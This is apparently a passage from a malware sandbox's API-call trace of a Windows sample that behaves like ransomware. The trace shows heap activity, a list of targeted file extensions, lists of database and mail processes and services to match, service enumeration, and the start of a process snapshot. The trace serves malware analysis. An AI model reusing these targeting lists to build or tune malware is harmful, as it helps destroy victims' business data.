0x525cb8 [0085.465] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x525cb8, Size=0x40) returned 0x526e18 [0085.465] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x526e18, Size=0x80) returned 0x56af40 [0085.465] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x56af40, Size=0x100) returned 0x53cf48 [0085.465] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0085.465] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53cf48 | out: hHeap=0x4f0000) returned 1 [0085.465] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x57ef50, nSize=0x8000 | out: lpDst="C:\\Windows;") returned 0xc [0085.465] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x58ef58 | out: hHeap=0x4f0000) returned 1 [0085.465] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x57ef50 | out: hHeap=0x4f0000) returned 1 [0085.465] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x529820, Size=0x8) returned 0x529810 [0085.465] lstrlenW (lpString="%windir%;") returned 9 [0085.465] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x525c90 | out: hHeap=0x4f0000) returned 1 [0085.465] lstrlenW (lpString="C:\\Windows;") returned 11 [0085.465] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54c338 | out: hHeap=0x4f0000) returned 1 [0085.466] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x540e30, Size=0x20) returned 0x525c90 [0085.466] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x525c90, Size=0x40) returned 0x526e18 [0085.466] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x526e18, Size=0x80) returned 0x56af40 [0085.466] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x56af40, Size=0x100) returned 0x53cf48 [0085.466] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x53ef48, Size=0x8) returned 0x53ef58 [0085.466] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x53ef58, Size=0x10) returned 0x540e78 [0085.466] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x540e78, Size=0x20) returned 0x525c90 [0085.466] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x529820, Size=0x8) returned 0x53ef48 [0085.466] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x529830, Size=0x8) returned 0x529820 [0085.466] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x53ef58, Size=0x8) returned 0x53ef68 [0085.466] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x53ef68, Size=0x10) returned 0x540f20 [0085.466] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x540f20, Size=0x20) returned 0x525cb8 [0085.466] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x53ef48, Size=0x10) returned 0x540f20 [0085.466] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x529820, Size=0x10) returned 0x540f70 [0085.466] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x53ef48, Size=0x8) returned 0x53ef58 [0085.466] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x53ef78, Size=0x8) returned 0x53ef88 [0085.466] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x540f20, Size=0x20) returned 0x525ce0 [0085.466] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x540f70, Size=0x20) returned 0x525d08 [0085.466] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x53ef98, Size=0x8) returned 0x53efa8 [0085.466] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0085.466] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53cf48 | out: hHeap=0x4f0000) returned 1 [0085.466] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x541000, Size=0x20) returned 0x525d58 [0085.466] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x54c338, nSize=0x7fff | out: lpDst="C:") returned 0x3 [0085.466] lstrlenW (lpString="C:\\") returned 3 [0085.466] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x18fcac, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x18fcac*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0085.467] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54c338 | out: hHeap=0x4f0000) returned 1 [0085.468] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x53efd8, Size=0x82) returned 0x56de98 [0085.468] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x53eff8, Size=0x100) returned 0x53cf48 [0085.468] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x56de98, Size=0x104) returned 0x541740 [0085.468] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x53cf48, Size=0x200) returned 0x541868 [0085.469] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53efe8 | out: hHeap=0x4f0000) returned 1 [0085.469] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x541868 | out: hHeap=0x4f0000) returned 1 [0085.469] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5410a8 | out: hHeap=0x4f0000) returned 1 [0085.469] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x56b160 | out: hHeap=0x4f0000) returned 1 [0085.469] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x541060 | out: hHeap=0x4f0000) returned 1 [0085.469] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x56b0d8 | out: hHeap=0x4f0000) returned 1 [0085.469] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x541090 | out: hHeap=0x4f0000) returned 1 [0085.469] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x541740 | out: hHeap=0x4f0000) returned 1 [0085.469] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x541078 | out: hHeap=0x4f0000) returned 1 [0085.469] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x56d968 | out: hHeap=0x4f0000) returned 1 [0085.469] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5410c0 | out: hHeap=0x4f0000) returned 1 [0085.469] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x56d9f8 | out: hHeap=0x4f0000) returned 1 [0085.469] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5410d8 | out: hHeap=0x4f0000) returned 1 [0085.469] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5410d8, Size=0x20) returned 0x525d80 [0085.469] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x525d80, Size=0x40) returned 0x526e18 [0085.469] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53efb8 | out: hHeap=0x4f0000) returned 1 [0085.470] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x541000 | out: hHeap=0x4f0000) returned 1 [0085.470] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x56d000 | out: hHeap=0x4f0000) returned 1 [0085.470] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x541030 | out: hHeap=0x4f0000) returned 1 [0085.470] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x56b050 | out: hHeap=0x4f0000) returned 1 [0085.470] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x541018 | out: hHeap=0x4f0000) returned 1 [0085.470] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53efc8 | out: hHeap=0x4f0000) returned 1 [0085.470] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x541048 | out: hHeap=0x4f0000) returned 1 [0085.470] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x527fc0 | out: hHeap=0x4f0000) returned 1 [0085.470] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5263e0 | out: hHeap=0x4f0000) returned 1 [0085.470] lstrlenW (lpString="%systemdrive%") returned 13 [0085.470] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x525d58 | out: hHeap=0x4f0000) returned 1 [0085.470] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x56af40 | out: hHeap=0x4f0000) returned 1 [0085.470] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53ef98 | out: hHeap=0x4f0000) returned 1 [0085.470] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x56ef30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10c [0085.470] WaitForMultipleObjects (nCount=0x2, lpHandles=0x527ee8*=0x100, bWaitAll=1, dwMilliseconds=0xffffffff) Thread: id = 49 os_tid = 0x5b8 Thread: id = 51 os_tid = 0x60c [0085.668] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x541048 [0085.668] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x541048, Size=0x20) returned 0x525d80 [0085.668] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x525d80, Size=0x40) returned 0x526e60 [0085.668] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x526e60, Size=0x80) returned 0x56af40 [0085.668] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x56af40, Size=0x100) returned 0x53cf48 [0085.668] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x541048 [0085.668] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x541048, Size=0x20) returned 0x525d80 [0085.668] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x525d80, Size=0x40) returned 0x526e60 [0085.668] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x526e60, Size=0x80) returned 0x56af40 [0085.668] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x56af40, Size=0x100) returned 0x53d050 [0085.668] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x541048 [0085.668] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4) returned 0x53ef98 [0085.668] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x541018 [0085.668] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x53ef98, Size=0x8) returned 0x53efc8 [0085.668] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x14) returned 0x526400 [0085.668] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x53efc8, Size=0x10) returned 0x541030 [0085.668] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x18) returned 0x526420 [0085.668] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1a) returned 0x525d80 [0085.668] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x541030, Size=0x20) returned 0x525da8 [0085.668] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1c) returned 0x525dd0 [0085.668] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x16) returned 0x526440 [0085.668] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1a) returned 0x525df8 [0085.668] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x541030 [0085.668] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4) returned 0x53efc8 [0085.668] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40) returned 0x526e60 [0085.668] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x53efc8, Size=0x8) returned 0x53ef98 [0085.668] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x3c) returned 0x526ea8 [0085.668] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x53ef98, Size=0x10) returned 0x541000 [0085.668] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x14) returned 0x526460 [0085.668] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x18) returned 0x526480 [0085.668] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x541000, Size=0x20) returned 0x525e20 [0085.668] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x24) returned 0x527ff8 [0085.668] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0085.668] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53cf48 | out: hHeap=0x4f0000) returned 1 [0085.669] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0085.669] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53d050 | out: hHeap=0x4f0000) returned 1 [0085.669] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x525ec0 [0085.669] EnumServicesStatusExW (in: hSCManager=0x525ec0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0) returned 0 [0085.669] GetLastError () returned 0xea [0085.669] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa64) returned 0x548f08 [0085.670] EnumServicesStatusExW (in: hSCManager=0x525ec0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x548f08, cbBufSize=0xa64, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x548f08, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0) returned 1 [0085.670] CloseServiceHandle (hSCObject=0x525ec0) returned 1 [0085.670] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0085.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0085.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0085.670] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0085.670] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0085.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0085.670] lstrlenW (lpString="AudioSrv") returned 8 [0085.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0085.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0085.670] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0085.670] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0085.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0085.670] lstrlenW (lpString="BFE") returned 3 [0085.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0085.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0085.670] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0085.670] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0085.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0085.670] lstrlenW (lpString="CscService") returned 10 [0085.671] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0085.671] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0085.671] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0085.671] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0085.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0085.671] lstrlenW (lpString="DcomLaunch") returned 10 [0085.671] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0085.671] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0085.671] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0085.671] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0085.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0085.671] lstrlenW (lpString="Dhcp") returned 4 [0085.671] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0085.671] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0085.671] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0085.671] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0085.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0085.671] lstrlenW (lpString="Dnscache") returned 8 [0085.671] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0085.671] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0085.671] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0085.671] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0085.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0085.671] lstrlenW (lpString="eventlog") returned 8 [0085.671] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0085.671] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0085.671] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0085.671] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0085.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0085.671] lstrlenW (lpString="EventSystem") returned 11 [0085.671] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0085.671] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0085.671] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0085.671] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0085.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0085.671] lstrlenW (lpString="gpsvc") returned 5 [0085.671] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0085.671] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0085.671] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0085.671] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0085.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0085.671] lstrlenW (lpString="lmhosts") returned 7 [0085.671] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0085.671] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0085.671] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0085.672] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0085.672] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0085.672] lstrlenW (lpString="MMCSS") returned 5 [0085.672] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0085.672] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0085.672] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0085.672] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0085.672] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0085.672] lstrlenW (lpString="MpsSvc") returned 6 [0085.672] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0085.672] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0085.672] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0085.672] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0085.672] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0085.672] lstrlenW (lpString="nsi") returned 3 [0085.672] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0085.672] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0085.672] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0085.672] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0085.672] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0085.672] lstrlenW (lpString="PlugPlay") returned 8 [0085.672] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0085.672] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0085.672] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0085.672] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0085.672] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0085.672] lstrlenW (lpString="Power") returned 5 [0085.672] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0085.672] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0085.672] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0085.672] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0085.672] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0085.672] lstrlenW (lpString="ProfSvc") returned 7 [0085.672] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0085.672] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0085.672] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0085.672] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0085.672] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0085.672] lstrlenW (lpString="RpcEptMapper") returned 12 [0085.672] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0085.672] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0085.672] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0085.672] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0085.672] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0085.672] lstrlenW (lpString="RpcSs") returned 5 [0085.672] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0085.673] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0085.673] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0085.673] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0085.673] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0085.673] lstrlenW (lpString="SamSs") returned 5 [0085.673] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0085.673] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0085.673] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0085.673] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0085.673] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0085.673] lstrlenW (lpString="Schedule") returned 8 [0085.673] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0085.673] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0085.673] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0085.673] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0085.673] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0085.673] lstrlenW (lpString="SENS") returned 4 [0085.673] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0085.673] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0085.673] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0085.673] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0085.673] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0085.673] lstrlenW (lpString="ShellHWDetection") returned 16 [0085.673] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0085.673] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0085.673] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0085.673] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0085.673] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0085.673] lstrlenW (lpString="Spooler") returned 7 [0085.673] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0085.673] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0085.673] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0085.673] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0085.673] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0085.673] lstrlenW (lpString="Themes") returned 6 [0085.673] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0085.673] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0085.673] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0085.673] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0085.673] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0085.673] lstrlenW (lpString="UxSms") returned 5 [0085.673] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0085.673] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0085.673] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0085.673] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0085.673] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0085.673] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x548f08 | out: hHeap=0x4f0000) returned 1 [0085.673] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x118 [0085.675] Process32FirstW (in: hSnapshot=0x118, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) 